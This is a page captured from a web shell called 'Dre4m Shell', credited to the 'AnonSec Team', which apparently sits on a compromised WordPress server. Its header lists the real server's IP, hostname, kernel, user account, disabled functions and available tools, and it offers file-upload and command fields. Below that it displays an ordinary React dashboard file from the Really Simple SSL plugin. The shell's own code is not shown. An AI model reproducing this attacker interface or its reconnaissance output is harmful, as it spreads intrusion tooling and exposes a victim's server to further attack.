Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 52.14.148.63
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/wordpress/wp-content/plugins/really-simple-ssl/settings/src/Dashboard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/wordpress/wp-content/plugins/really-simple-ssl/settings/src/Dashboard/DashboardPage.js
import GridBlock from "./GridBlock";
import ProgressHeader from "./Progress/ProgressBlockHeader";
import ProgressBlock from "./Progress/ProgressBlock";
import ProgressFooter from "./Progress/ProgressFooter";
import SslLabsHeader from "./SslLabs/SslLabsHeader";
import SslLabs from "./SslLabs/SslLabs";
import SslLabsFooter from "./SslLabs/SslLabsFooter";
import VulnerabilitiesHeader from "./Vulnerabilities/VulnerabilitiesHeader";
import Vulnerabilities from "./Vulnerabilities/Vulnerabilities";
import VulnerabilitiesFooter from "./Vulnerabilities/VulnerabilitiesFooter";
import TipsTricks from "./TipsTricks/TipsTricks";
import TipsTricksFooter from "./TipsTricks/TipsTricksFooter";
import OtherPluginsHeader from "./OtherPlugins/OtherPluginsHeader";
import OtherPlugins from "./OtherPlugins/OtherPlugins";
import { __ } from '@wordpress/i18n';
import DashboardPlaceholder from "../Placeholder/DashboardPlaceholder";
import useFields from "../Settings/FieldsData";
import ErrorBoundary from "../utils/ErrorBoundary";

const DashboardPage = () => {
    const {fieldsLoaded} = useFields();

    const blocks = [
        {
            id: 'progress',
            header: ProgressHeader,
            content: ProgressBlock,
            footer: ProgressFooter,
            class: ' rsssl-column-2',
        },
        {
            id: 'ssllabs',
            header: SslLabsHeader,
            content: SslLabs,
            footer: SslLabsFooter,
            class: 'border-to-border',
        },
        {
            id: 'wpvul',
            header: VulnerabilitiesHeader,
            content: Vulnerabilities,
            footer: VulnerabilitiesFooter,
            class: 'border-to-border',
        },
        {
            id: 'tips_tricks',
            title: __("Tips & Tricks", 'really-simple-ssl'),
            content: TipsTricks,
            footer: TipsTricksFooter,
            class: ' rsssl-column-2',
        },
        {
            id: 'other-plugins',
            header: OtherPluginsHeader,
            content: OtherPlugins,
            class: ' rsssl-column-2 no-border no-background',
        },
    ]
    return (
        <>
            {!fieldsLoaded && <DashboardPlaceholder></DashboardPlaceholder>}
            {fieldsLoaded && blocks.map((block, i) => <ErrorBoundary key={"grid_"+i} fallback={"Could not load dashboard block"}><GridBlock  block={block}/></ErrorBoundary>)}
        </>
    );

}
export default DashboardPage

Anon7 - 2022
AnonSec Team